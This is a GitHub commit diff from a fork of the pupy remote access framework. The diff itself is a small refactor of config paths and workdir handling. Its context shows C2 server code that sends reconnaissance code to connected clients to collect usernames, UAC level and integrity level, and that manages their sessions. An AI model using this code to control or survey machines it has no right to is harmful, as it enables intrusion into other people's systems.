forked from n1nj4sec/pupy
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Don't chroot to pupy dir. Use workspaces
- Loading branch information
Showing
2 changed files
with
33 additions
and
30 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -2,15 +2,15 @@ | |
# -------------------------------------------------------------- | ||
# Copyright (c) 2015, Nicolas VERDIER ([email protected]) | ||
# All rights reserved. | ||
# | ||
# | ||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: | ||
# | ||
# | ||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. | ||
# | ||
# | ||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. | ||
# | ||
# | ||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. | ||
# | ||
# | ||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE | ||
# -------------------------------------------------------------- | ||
|
||
|
@@ -56,7 +56,11 @@ def __init__(self, transport, transport_kwargs, port=None, ipv6=None): | |
self.current_id=1 | ||
self.config = configparser.ConfigParser() | ||
if not path.exists('pupy.conf'): | ||
copyfile('pupy.conf.default', 'pupy.conf') | ||
copyfile( | ||
path.join( | ||
path.dirname(__file__), '..', 'pupy.conf' | ||
), | ||
'pupy.conf') | ||
self.config.read("pupy.conf") | ||
if port is None: | ||
self.port=self.config.getint("pupyd", "port") | ||
|
@@ -92,10 +96,10 @@ def add_client(self, conn): | |
import os | ||
import locale | ||
os_encoding = locale.getpreferredencoding() or "utf8" | ||
if sys.platform == 'win32': | ||
if sys.platform == 'win32': | ||
from _winreg import * | ||
import ctypes | ||
def get_integrity_level_win(): | ||
'''from http://www.programcreek.com/python/example/3211/ctypes.c_long''' | ||
if sys.platform != 'win32': | ||
|
@@ -206,7 +210,7 @@ def getUACLevel(): | |
except: | ||
return "?" | ||
while True: | ||
try: | ||
try: | ||
name, value, type = EnumValue(RawKey, i) | ||
if name == "ConsentPromptBehaviorAdmin": consentPromptBehaviorAdmin = value | ||
elif name == "EnableLUA": enableLUA = value | ||
|
@@ -226,13 +230,13 @@ def GetUserName(): | |
nSize = DWORD(0) | ||
windll.advapi32.GetUserNameA(None, byref(nSize)) | ||
error = GetLastError() | ||
ERROR_INSUFFICIENT_BUFFER = 122 | ||
if error != ERROR_INSUFFICIENT_BUFFER: | ||
raise WinError(error) | ||
lpBuffer = create_string_buffer('', nSize.value + 1) | ||
success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) | ||
if not success: | ||
raise WinError() | ||
|
@@ -311,7 +315,7 @@ def get_uuid(): | |
return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path, uacLevel, integrity_level_win) | ||
""")) | ||
l=conn.namespace["get_uuid"]() | ||
|
||
with self.clients_lock: | ||
pc=PupyClient.PupyClient({ | ||
"id": self.current_id, | ||
|
@@ -341,7 +345,7 @@ def get_uuid(): | |
client_ip, client_port = conn._conn._config['connid'].split(':') | ||
except: | ||
client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads | ||
|
||
self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)) | ||
self.current_id += 1 | ||
if pc: | ||
|
@@ -357,7 +361,7 @@ def remove_client(self, client): | |
break | ||
|
||
def get_clients(self, search_criteria): | ||
""" return a list of clients corresponding to the search criteria. ex: platform:*win* """ | ||
""" return a list of clients corresponding to the search criteria. ex: platform:*win* """ | ||
#if the criteria is a simple id we return the good client | ||
try: | ||
index=int(search_criteria) | ||
|
@@ -395,7 +399,7 @@ def get_clients(self, search_criteria): | |
if take: | ||
l.add(c) | ||
return list(l) | ||
|
||
def get_clients_list(self): | ||
return self.clients | ||
|
||
|
@@ -476,7 +480,7 @@ def connect_on_client(self, launcher_args): | |
conn=rpyc.utils.factory.connect_stream(stream, PupyService.PupyBindService, {}) | ||
bgsrv=rpyc.BgServingThread(conn) | ||
bgsrv.SLEEP_INTERVAL=0.001 # consume ressources but faster response ... | ||
|
||
|
||
def run(self): | ||
self.handler_registered.wait() | ||
|
@@ -497,11 +501,9 @@ def run(self): | |
t.parse_args(transport_kwargs) | ||
except Exception as e: | ||
logging.exception(e) | ||
|
||
try: | ||
self.server = t.server(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t.stream, transport=t.server_transport, transport_kwargs=t.server_transport_kwargs, ipv6=self.ipv6) | ||
self.server.start() | ||
except Exception as e: | ||
logging.exception(e) | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,18 +1,18 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: UTF8 -*- | ||
# -*- coding: utf-8 -*- | ||
|
||
# -------------------------------------------------------------- | ||
# Copyright (c) 2015, Nicolas VERDIER ([email protected]) | ||
# All rights reserved. | ||
# | ||
# | ||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: | ||
# | ||
# | ||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. | ||
# | ||
# | ||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. | ||
# | ||
# | ||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. | ||
# | ||
# | ||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE | ||
# -------------------------------------------------------------- | ||
|
||
|
@@ -38,15 +38,18 @@ def print_version(): | |
print("Pupy - %s"%(__version__)) | ||
|
||
if __name__=="__main__": | ||
if os.path.dirname(__file__): | ||
os.chdir(os.path.dirname(__file__)) | ||
parser = argparse.ArgumentParser(prog='pupysh', description="Pupy console") | ||
parser.add_argument('--log-lvl', '--lvl', help="change log verbosity", dest="loglevel", choices=["DEBUG","INFO","WARNING","ERROR"], default="WARNING") | ||
parser.add_argument('--version', help="print version and exit", action='store_true') | ||
parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default='ssl', help="change the transport ! :-)") | ||
parser.add_argument('--ta', '--transport-args', dest='transport_args', help="... --transport-args 'OPTION1=value OPTION2=val ...' ...") | ||
parser.add_argument('--port', '-p', help="change the listening port", type=int) | ||
parser.add_argument('workdir', nargs='?', help='Set Workdir (Default = current workdir)') | ||
args=parser.parse_args() | ||
|
||
if args.workdir: | ||
os.chdir(args.workdir) | ||
|
||
if args.version: | ||
print_version() | ||
exit(0) | ||
|
@@ -77,5 +80,3 @@ def print_version(): | |
print(traceback.format_exc()) | ||
time.sleep(0.1) #to avoid flood in case of exceptions in loop | ||
pcmd.intro='' | ||
|
||
|